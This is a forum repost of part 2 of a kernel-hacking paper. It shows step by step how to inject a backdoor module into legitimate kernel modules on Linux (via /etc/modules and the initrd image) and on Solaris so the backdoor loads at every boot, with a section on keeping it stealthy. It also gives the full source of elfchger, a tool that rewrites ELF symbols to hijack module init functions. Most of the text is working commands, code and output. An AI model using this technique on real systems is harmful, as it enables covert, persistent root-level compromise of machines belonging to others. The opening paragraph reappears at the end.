Infecting loadable kernel modules 2.6/3.0 by styx^ - Part 2 04-14-2013, 06:09 AM
#1
---[ 5 - Real life example
This chapter will show the usage of the present method in a real life
example. Let's suppose that evil.ko is a working backdoor. We want to
inject it into a kernel module not used by any other kernel module. This
test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel.
$ uname -a
Linux ubuntu 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012
i686 i686 i386 GNU/Linux
Let's begin by checking which modules to infect by using the lsmod command:
$ lsmod
Module Size Used by
serio_raw 4022 0
lp 7342 0
snd_seq_midi 4588 0
usbhid 36882 0
binfmt_misc 6599 1
agpgart 32011 1 drm
snd_intel8x0 25632 2
...
libahci 21667 3 ahci
The command output shows that some of the modules are not used by any
other module. These modules can be unloaded safely and then they can be
infected with our backdoor using the method presented above. This chapter
is divided into two sections in which I'll describe two techniques to load
the module when the operating system is booted:
1 - Infect a kernel module (or simply add a new one) on
/etc/modprobe.preload (Fedora, etc.) or in /etc/modules on
Debian/Ubuntu.
2 - Backdoor initrd.
---[ 5.1 - Infecting a kernel module in /etc/modules
First of all, we have to know which modules are in the /etc/modules file:
$ cat /etc/modules
# /etc/modules: kernel modules to load at boot time.
...
lp
As described in the previous section, this module (lp.ko) can be unloaded
safely and then infected with our backdoor.
$ find / -name lp.ko
...
/lib/modules/3.0.0-15-generic/kernel/drivers/char/lp.ko
...
$ cd /lib/modules/3.0.0-15-generic/kernel/drivers/char
Next, we check which function is called by the init_module:
$ objdump -t lp.ko |grep -e ".init.text"
00000000 l F .init.text 00000175 lp_init
00000175 l F .init.text 000000ae lp_init_module
00000000 l d .init.text 00000000 .init.text
00000175 g F .init.text 000000ae init_module
We want to infect the lp_init_module() function, so the evil module will
be coded in the following way:
/****************** evil.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int __init lp_init_module();
int __init evil(void) {
printk(KERN_ALERT "Init Inject! Lp");
lp_init_module();
/* does something */
return 0;
}
/****************** EOF **************************************************/
Since the lp_init_module function is static we need to change its binding
type to global.
$ ./elfchger -g lp_init_module lp.ko
[+] Opening lp.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x28a0
[+] Finding ".strtab" section...
>> Found at 0x28c8
[+] Getting symbol' infos:
>> Symbol found at 0x2b30
>> Index in symbol table: 0x24
[+] Reordering symbols:
>> Starting:
>> Moving symbol from 25 to 24
>> Moving symbol from 26 to 25
>> Moving symbol from 27 to 26
>> Moving symbol from 28 to 27
>> Moving symbol from 29 to 28
>> Moving symbol from 2a to 29
>> Moving symbol from 2b to 2a
>> Moving symbol from 2c to 2b
>> Moving symbol from 2d to 2c
>> Moving symbol from 2e to 2d
>> Moving symbol from 2f to 2e
>> Moving symbol from 30 to 2f
>> Moving symbol from 31 to 30
>> Moving symbol from 32 to 31
>> Moving symbol from 33 to 32
>> Moving symbol from 34 to 33
>> Moving symbol from 35 to 34
>> Moving symbol from 36 to 35
>> Moving symbol from 37 to 36
>> Moving symbol from 38 to 37
>> Moving symbol from 39 to 38
>> Moving symbol from 3a to 39
>> Moving symbol from 3b to 3a
>> Moving symbol from 3c to 3b
>> Moving symbol from 3d to 3c
>> Moving our symbol from 36 to 3d
>> Last LOCAL symbol: 0x3d
>> Done!
[+] Updating symbol' infos:
>> Symbol found at 0x2cc0
>> Index in symbol table: 0x3d
>> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL'
[+] Updating symtab infos at 0x28a0
The two modules can be now linked together:
$ ld -r lp.ko evil.ko -o new.ko
$ objdump -t new.ko |grep -e init_module -e evil
00000000 l df *ABS* 00000000 evil.c
00000000 l df *ABS* 00000000 evil.mod.c
00000223 g F .init.text 00000019 evil
00000175 g F .init.text 000000ae lp_init_module
00000175 g F .init.text 000000ae init_module
Now the relative address of init_module has to be changed to 0000021a:
$ ./elfchger -s init_module -v 00000223 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x2a34
[+] Finding ".strtab" section...
>> Found at 0x2a5c
[+] Getting symbol' infos:
>> Symbol found at 0x39a4
>> Index in symbol table: 0x52
[+] Replacing 0x00000175 with 0x00000223... done!
The new.ko module must be renamed to lp.ko and then loaded:
$ mv new.ko lp.ko
$ sudo rmmod lp
$ sudo insmod lp.ko
$ dmesg|tail
...
$ dmesg
....
[ 1033.418723] Init Inject! Lp
[ 1033.431131] lp0: using parport0 (interrupt-driven).
From now on, every time the system is booted, the infected lp kernel
module will be loaded instead of the original one.
---[ 5.2 - Backdooring initrd
It is also possible to backdoor a module in the initrd image. The target
module has to be extracted out of the image, backdoored and then reinserted
back. The target module used throughout this example will be usbhid.ko.
In order to inject a kernel module into the initrd image, we'll follow the
guide in [9], which explains how to add a new module inside the initrd
image. According to [9], the initrd image can be copied from /boot to a
target directory (e.g. /tmp) so we can easily work on it:
$ cp /boot/initrd.img-2.6.35-22-generic /tmp/
$ cd /tmp
The image can be now decompressed using the gzip tool:
$ mv initrd.img-2.6.35-22-generic initrd.img-2.6.35-22-generic.gz
$ gzip -d initrd.img-2.6.35-22-generic.gz
$ mkdir initrd
$ cd initrd/
$ cpio -i -d -H newc -F ../initrd.img-2.6.35-22-generic \
--no-absolute-filenames
50522 blocks
The location of the usbhid.ko module has then to be found inside the kernel
tree:
$ find ./ -name usbhid
./lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid
$ cd lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid
At this point it can be easily infected with our evil module:
$ objdump -t usbhid.ko |grep -e ".init.text"
00000000 l F .init.text 000000c3 hid_init
00000000 l d .init.text 00000000 .init.text
00000000 g F .init.text 000000c3 init_module
000000c3 g F .init.text 00000019 hiddev_init
Since we want to infect the hid_init() function, the evil module will be
coded in the following way:
/****************** evil.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int __init hid_init();
int __init evil(void) {
hid_init();
printk(KERN_ALERT "Init Inject! Usbhid");
/* does something */
return 0;
}
/****************** EOF **************************************************/
$ ./elfchger -g hid_init usbhid.ko
[+] Opening usbhid.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0xa24c
[+] Finding ".strtab" section...
>> Found at 0xa274
[+] Getting symbol' infos:
>> Symbol found at 0xa4dc
>> Index in symbol table: 0x24
[+] Reordering symbols:
>> Starting:
>> Moving symbol from 25 to 24
...
>> Moving symbol from a6 to a5
>> Moving our symbol from 36 to a6
>> Last LOCAL symbol: 0xa6
>> Done!
[+] Updating symbol' infos:
>> Symbol found at 0xacfc
>> Index in symbol table: 0xa6
>> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL'
[+] Updating symtab infos at 0xa24c
$ ld -r usbhid.ko evil.ko -o new.ko
$ objdump -t new.ko | grep -e init_module -e evil
00000000 l df *ABS* 00000000 evil.c
00000000 l df *ABS* 00000000 evil.mod.c
000000dc g F .init.text 0000001b evil
00000000 g F .init.text 000000c3 init_module
$ ./elf -s init_module -v 000000dc new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0xa424
[+] Finding ".strtab" section...
>> Found at 0xa44c
[+] Getting symbol' infos:
>> Symbol found at 0xd2dc
>> Index in symbol table: 0xd5
[+] Replacing 0x00000000 with 0x000000dc... done!
$ mv new.ko usbhid.ko
Once the target module has been infected with the evil one, we must
recreate the initrd image:
$ cd /tmp/initrd/
$ find . | cpio -o -H newc | gzip > /tmp/initrd.img-2.6.35-22-generic
50522 blocks
$ cp ../initrd.img-2.6.35-22-generic /boot/
From now on, every time the system is booted, the infected usbhid kernel
module will be loaded instead of the original one.
---[ 6 - What about other systems?
In this last chapter we will see how the presented infection method can
applied to other operating systems, specifically Solaris, FreeBSD, NetBSD
and OpenBSD. It will be shown that, even if the method is different from
that used on Linux, infection is still possible.
---[ 6.1 - Solaris
On Solaris systems infecting a kernel module is simpler than on Linux ones.
Changing the symbol's name in the .strtab ELF section is sufficient,
similarly to truff's original method for the Linux kernel 2.4.* versions.
The method has been tested on Solaris 10:
# uname -a
SunOS unknown 5.10 Generic_142910-17 i86pc i386 i86pc
---[ 6.1.1 - A basic example
The orig.c and evil.c source codes are as follows:
/******************************** orig.c *********************************/
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
extern struct mod_ops mod_miscops;
static struct modlmisc modlmisc =
{
&mod_miscops,
"original",
};
static struct modlinkage modlinkage =
{
MODREV_1,
(void *) &modlmisc,
NULL
};
int _init(void) {
int i;
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE, "Can't load module!\n");
else
cmn_err(CE_NOTE, "Init Original!");
return i;
}
int _info(struct modinfo *modinfop) {
return (mod_info(&modlinkage, modinfop));
}
int _fini(void) {
int i;
if ((i = mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE, "Can't remove module!\n");
else
cmn_err(CE_NOTE, "Exit Original!");
return i;
}
/******************************** EOF ************************************/
/******************************** evil.c *********************************/
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
extern int _evil(void);
int _init(void) {
cmn_err(CE_NOTE, "Inject!");
_evil();
return 0;
}
/******************************** EOF ************************************/
The _init function is called at module initialisation, while the _fini one
is called at module cleanup. The _info function prints information about
the module when the "modinfo" command is invoked. The two modules can be
compiled using the following commands:
# /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c orig.c
# /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c evil.c
Let's have a look at the orig.o ELF file by using the "elfdump" command:
# /usr/ccs/bin/elfdump -s orig.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _init
[18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
[20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
The _evil() function must be called instead of _init when the module is
loaded. To achieve this, the following steps have to be performed:
- Change the _init symbol name to _evil in orig.o;
- Link the two modules together;
This way, the kernel will load the _init() function defined in evil.c which
in turn will call the _evil() function (the old _init()) in order to
maintain the correct behaviour of the orig module. It is possible to change
a symbol name using the 'objcopy' tool. In fact the '--redefine-sym' option
can be used to give an arbitrary name to the specified symbol:
# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil orig.o
# /usr/ccs/bin/elfdump -s orig.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil
[18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
[20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
By checking with "elfdump" it is possible to verify if the script properly
performed its job:
# /usr/ccs/bin/elfdump -s orig.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil
[18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
[20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
The _init symbol name has been modified to _evil. The modules are then
linked together using the "ld" command:
# ld -r orig.o evil.o -o new.o
The new.o elf file dump follows:
# /usr/ccs/bin/elfdump -s new.o
Symbol Table Section: .symtab
index value size type bind oth ver shndx name
[0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF
[1] 0x00000000 0x00000000 FILE LOCL D 0 ABS new.o
[2] 0x00000000 0x00000000 SECT LOCL D 0 .text
...
[27] 0x00000000 0x00000000 FILE LOCL D 0 ABS evil.c
[28] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install
[29] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil
[30] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini
[31] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info
[32] 0x000000b8 0x0000001e FUNC GLOB D 0 .text _init
[33] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops
[34] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info
[35] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove
[36] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err
To summarize, the _init symbol is referring to the function defined in
evil.c, while the _evil symbol is referring to the old _init defined in
orig.c that we have just renamed to _evil.
Now, the last step is to rename the new.o into orig.o and to load it:
# mv new.o orig.o
# modload orig.o
# tail /var/adm/messages
...
May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject!
May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original!
As you can see the module is successfully infected.
# modinfo | grep orig.o
247 fa9e6eac 160 - 1 orig.o (original)
# modunload -i 247
---[ 6.1.2 - Playing with OS modules
This section will explain how to infect a system kernel module. The method
remains the same but it will be necessary to make minor changes to the evil
module in order to correctly load it to memory. The evil module will be
injected into the audio driver. First of all, the module has to be
unloaded:
# modinfo | grep lx_audio
216 f99e40e0 2614 242 1 lx_audio (linux audio driver 'lx_audio' 1)
# modunload -i 216
Now, it is possible to play with it:
# /usr/ccs/bin/elfdump -s lx_audio|grep _init
[64] 0x000020c2 0x00000011 FUNC GLOB D 0 .text _init
[118] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF mutex_init
# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil lx_audio
# ld -r evil.o lx_audio -o new
# /usr/ccs/bin/elfdump -s new|grep _evil
[77] 0x000020de 0x00000011 FUNC GLOB D 0 .text _evil
# mv new lx_audio
# modload lx_audio
# tail /var/adm/messages
...
Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject!
Great, it works!
---[ 6.1.3 - Keeping it stealthy
According to the /etc/system file, the kernel modules that are loaded at
boot time are located in the /kernel and /usr/kernel directories. The
platform-dependent modules reside in the /platform directory. In this
example I'll infect the usb kernel module: usba.
First of all the kernel module's position in the filesystem must be
located:
# find /kernel -name usba
/kernel/misc/amd64/usba
/kernel/misc/usba
/kernel/kmdb/amd64/usba
/kernel/kmdb/usba
# cd /kernel/misc/usba
# /usr/ccs/bin/elfdump -s usba|grep _init
...
[291] 0x00017354 0x0000004c FUNC LOCL D 0 .text ugen_ds_init
[307] 0x00017937 0x000000e3 FUNC LOCL D 0 .text ugen_pm_init
[347] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _init
....
[655] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF rw_init
[692] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF cv_init
Now it is possible to change the _init symbol name to _evil.
# /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil usba
# /usr/ccs/bin/elfdump -s usba|grep _evil
[348] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _evil
# ld -r evil.o usba -o new
Now we have only to rename the module to its original name:
# mv new usba
From now on, every time the system is booted, the infected usba kernel
module will be loaded instead of the original one.
---[ 6.2 - *BSD
---[ 6.2.1 - FreeBSD - NetBSD - OpenBSD
The conclusions made by truff are still valid in the newest versions of
these operating systems. On FreeBSD, kernel modules are shared objects, so
the proposed method doesn't work because the kernel modules can't be
partially linked. On NetBSD and OpenBSD what we have to do is simply to
change the entry point of the kernel module when it is loaded. So our
function will be invoked instead the original one.
---[ 7 - Conclusions
In this paper a new module injection method was introduced to be used with
Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more
sophisticated were presented to inject external code into kernel modules.
It was also explained how the method (with some changes) can be
successfully applied to a wide range of operating systems. I hope you'll
have fun with it and that you enjoyed this paper!
Bye.
---[ 8 - References
[1] Infecting loadable kernel modules
http://www.phrack.com/issues.html?issue=...10#article
[2] EXECUTABLE AND LINKABLE FORMAT (ELF)
http://www.muppetlabs.com/~breadbox/software/ELF.txt
[3] Init Call Mechanism in the Linux Kernel
http://linuxgazette.net/157/amurray.html
[4] Understanding the Linux Kernel, 3rd Edition
[5] Init Call Mechanism in the Linux Kernel
http://linuxgazette.net/157/amurray.html
[6] OpenBSD Loadable Kernel Modules
http://www.thc.org/root/docs/loadable_ke...d-lkm.html
[7] Introduction to NetBSD loadable kernel modules
http://www.home.unix-ag.org/bmeurer/NetB...o-lkm.html
[8] Solaris Loadable Kernel Modules
http://www.thc.org/papers/slkm-1.0.html
[9] Initrd, modules, and tools
http://www.dark.ca/2009/06/10/initrd-modules-and-tools/
---[ 9 - Codes
---[ 9.1 - Elfchger
/*
* elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code)
*
* Script with two features:
*
* Usage 1: Change the symbol name value (address) in a kernel module.
* Usage 2: Change the symbol binding (from local to global) in a kernel
* module.
*
* Usage:
* 1: ./elfchger -f [symbol] -v [value] <module_name>
* 2: ./elfchger -g [symbol] <module_name>
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <getopt.h>
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr);
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name);
int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr);
void usage(char *cmd);
int main (int argc, char **argv) {
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
Elf32_Addr value;
unsigned long new_index = 0;
int gflag = 0, vflag = 0, fflag = 0;
char *sym_name;
int sym_value = 0;
long sym_off, str_off;
int opt;
if ( argc != 4 && argc != 6 ) {
usage(argv[0]);
exit(-1);
}
while ((opt = getopt(argc, argv, "vsg")) != -1) {
switch (opt) {
case 'g':
if( argc-1 < optind) {
printf("[-] You must specify symbol name!\n");
usage(argv[0]);
exit(-1);
}
gflag = 1;
sym_name = argv[optind];
break;
case 's':
if( argc-1 < optind) {
printf("[-] You must specify symbol name!\n");
usage(argv[0]);
exit(-1);
}
fflag = 1;
sym_name = argv[optind];
break;
case 'v':
if( argc-1 < optind) {
printf("[-] You must specify new symbol address\n");
usage(argv[0]);
exit(-1);
}
vflag = 1;
sym_value = strtol(argv[optind], (char **) NULL, 16);
break;
default:
usage(argv[0]);
exit(-1);
}
}
printf("[+] Opening %s file...\n", argv[argc-1]);
fd = fopen (argv[argc-1], "r+");
if (fd == NULL) {
printf("[-] File \"%s\" not found!\n", argv[1]);
exit(-1);
}
printf("[+] Reading Elf header...\n");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) {
printf("[-] Elf header corrupted!\n");
exit(-1);
}
printf("\t>> Done!\n");
printf("[+] Finding \".symtab\" section...\n");
sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);
if (sym_off == -1) {
printf("[-] Can't get .symtab section\n");
exit(-1);
}
printf("\t>> Found at 0x%x\n", (int )sym_off);
printf("[+] Finding \".strtab\" section...\n");
str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);
if (str_off == -1) {
printf("[-] Can't get .strtab section!\n");
exit(-1);
}
printf("\t>> Found at 0x%x\n", (int )str_off);
printf("[+] Getting symbol' infos:\n");
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym);
if ( (int) symoffset == -1) {
printf("[-] Symbol \"%s\" not found!\n", sym_name);
exit(-1);
}
if ( gflag == 1 ) {
if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) {
unsigned char global;
unsigned long offset = 0;
printf("[+] Reordering symbols:\n");
new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name);
printf("[+] Updating symbol' infos:\n");
symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym);
if ( (int) symoffset == -1) {
printf("[-] Symbol \"%s\" not found!\n", sym_name);
exit(-1);
}
offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2;
printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\
\n", (unsigned int)offset);
if (fseek (fd, offset, SEEK_SET) == -1) {
perror("[-] fseek: ");
exit(-1);
}
global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);
if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) {
perror("[-] fwrite: ");
exit(-1);
}
printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off);
if ( fseek(fd, sym_off, SEEK_SET) == -1 ) {
perror("[-] fseek: ");
exit(-1);
}
symtab.sh_info = new_index; // updating sh_info with the new index
// in symbol table.
if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) {
perror("[-] fwrite: ");
exit(-1);
}
} else {
printf("[-] Already global function!\n");
}
} else if ( fflag == 1 && vflag == 1 ) {
memset(&value, 0, sizeof(Elf32_Addr));
memcpy(&value, &sym_value, sizeof(Elf32_Addr));
printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value);
if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) {
perror("[-] fseek: ");
exit(-1);
}
if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) {
perror("[-] fwrite: ");
exit(-1);
}
printf("done!\n");
fclose (fd);
}
return 0;
}
/* This function returns the offset relative to the symbol name "name" */
Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) {
unsigned int i;
char symname[255];
for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) {
perror("\t[-] read: ");
exit(-1);
}
memset (symname, 0, sizeof (symname));
ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname));
if (!strcmp (symname, name)) {
printf("\t>> Symbol found at 0x%x\n",
symtab->sh_offset + (i * symtab->sh_entsize));
printf("\t>> Index in symbol table: 0x%x\n", i);
return symtab->sh_offset + (i * symtab->sh_entsize);
}
}
return -1;
}
/* This function returns the new index of symbol "name" inside the symbol
* table after re-ordering. */
unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name) {
unsigned int i = 0, j = 0;
char symname[255];
Elf32_Sym *all;
Elf32_Sym temp;
unsigned long new_index = 0;
unsigned long my_off = 0;
printf("\t>> Starting:\n");
all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) *
(symtab->sh_size/symtab->sh_entsize));
if ( all == NULL ) {
return -1;
}
memset(all, 0, symtab->sh_size/symtab->sh_entsize);
my_off = symtab->sh_offset;
for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) {
printf("\t[-] fread: ");
exit(-1);
}
memset (symname, 0, sizeof (symname));
ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname));
if (!strcmp (symname, name)) {
j = i;
continue;
}
}
temp = all[j];
for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) {
if ( i+1 >= symtab->sh_size/symtab->sh_entsize )
break;
if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) {
printf("\t>> Moving symbol from %x to %x\n", i+1, i);
all[i] = all[i+1];
} else {
new_index = i;
printf("\t>> Moving our symbol from %d to %x\n", j, i);
all[i] = temp;
break;
}
}
printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index);
if ( fseek (fd, my_off, SEEK_SET) == -1 ) {
perror("\t[-] fseek: ");
exit(-1);
}
if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize,
fd) < (symtab->sh_size/symtab->sh_entsize )) {
perror("\t[-] fwrite: ");
exit(-1);
}
printf("\t>> Done!\n");
free(all);
return new_index;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr) {
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {
printf("\t[-] Sections header corrupted");
exit(-1);
}
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr) {
int i;
char name[255];
Elf32_Shdr shstrtable;
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for ( i = 0; i < ehdr->e_shnum; i++) {
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {
printf("[-] Sections header corrupted");
exit(-1);
}
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section)) {
return ehdr->e_shoff + (i * ehdr->e_shentsize);
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len) {
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
while ( (i < len-1) || *res != '\0' ) {
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
while ((i < len-1) || *res != '\0') {
*res = fgetc (fd);
i++;
res++;
}
return;
}
void usage(char *cmd) {
printf("Usage: %s <option(s)> <module_name>\n", cmd);
printf("Option(s):\n");
printf(" -g [symbol]\tSymbol we want to change the binding as global\n");
printf("Or:\n");
printf(" -s [symbol]\tSymbol we want to change the value (address)\n");
printf(" -v [value] \tNew value (address) for symbol\n");
return;
}
---[ 9.2 - elfstrchange.patch
@@ -9,6 +9,7 @@
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
+#include <string.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
@@ -160,7 +161,7 @@
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
- while ((i < len) || *res == '\0')
+ while ((i < len-1) || *res != '\0')
{
*res = fgetc (fd);
i++;
@@ -179,7 +180,7 @@
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
- while ((i < len) || *res == '\0')
+ while ((i < len-1) || *res != '\0')
{
*res = fgetc (fd);
i++;
---[ EOF
Part 1: http://www.anarchyforums.net/Thread-Infe...tyx-Part-1
Credits to styx^ and phrack
This chapter will show the usage of the present method in a real life
example. Let's suppose that evil.ko is a working backdoor. We want to
inject it into a kernel module not used by any other kernel module. This
test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel.
$ uname -a
Linux ubuntu 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012
